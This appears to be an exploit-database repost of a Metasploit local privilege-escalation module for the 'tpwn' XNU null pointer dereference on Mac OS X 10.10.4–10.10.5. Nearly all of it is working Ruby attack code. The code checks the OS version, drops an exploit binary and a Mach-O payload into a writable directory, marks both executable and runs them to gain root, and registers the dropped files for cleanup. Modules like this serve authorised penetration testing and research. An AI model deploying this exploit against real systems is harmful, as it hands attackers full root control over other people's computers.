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# Mac OS X 10.10.4-10.10.5 "tpwn" Privilege Escalation Vulnerability

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Local

Rank = NormalRanking

include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X "tpwn" Privilege Escalation',
'Description' => %q{
This module exploits a null pointer dereference in XNU to escalate
privileges to root.

Tested on 10.10.4 and 10.10.5.
},
'Author' => [
'qwertyoruiop', # Vulnerability discovery and PoC
'wvu' # Copy/paste monkey
],
'References' => [
['URL', 'https://github.com/kpwn/tpwn']
],
'DisclosureDate' => 'Aug 16 2015',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86_64,
'SessionTypes' => ['shell'],
'Privileged' => true,
'Targets' => [
['Mac OS X 10.10.4-10.10.5', {}]
],
'DefaultTarget' => 0
))

register_options([
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
])
end

def check
ver?? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe
end

def exploit
print_status("Writing exploit to `#{exploit_file}'")
write_file(exploit_file, binary_exploit)
register_file_for_cleanup(exploit_file)

print_status("Writing payload to `#{payload_file}'")
write_file(payload_file, binary_payload)
register_file_for_cleanup(payload_file)

print_status('Executing exploit...')
cmd_exec(sploit)
print_status('Executing payload...')
cmd_exec(payload_file)
end

def ver?
Gem::Version.new(get_sysinfo['ProductVersion']).between?(
Gem::Version.new('10.10.4'), Gem::Version.new('10.10.5')
)
end

def sploit
"chmod +x #{exploit_file} #{payload_file} && #{exploit_file}"
end

def binary_exploit
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'tpwn', 'tpwn'
))
end

def binary_payload
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
end

def exploit_file
@exploit_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
end

def payload_file
@payload_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
end

end

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# Iranian Exploit DataBase = http://IeDb.Ir [2015-08-30]

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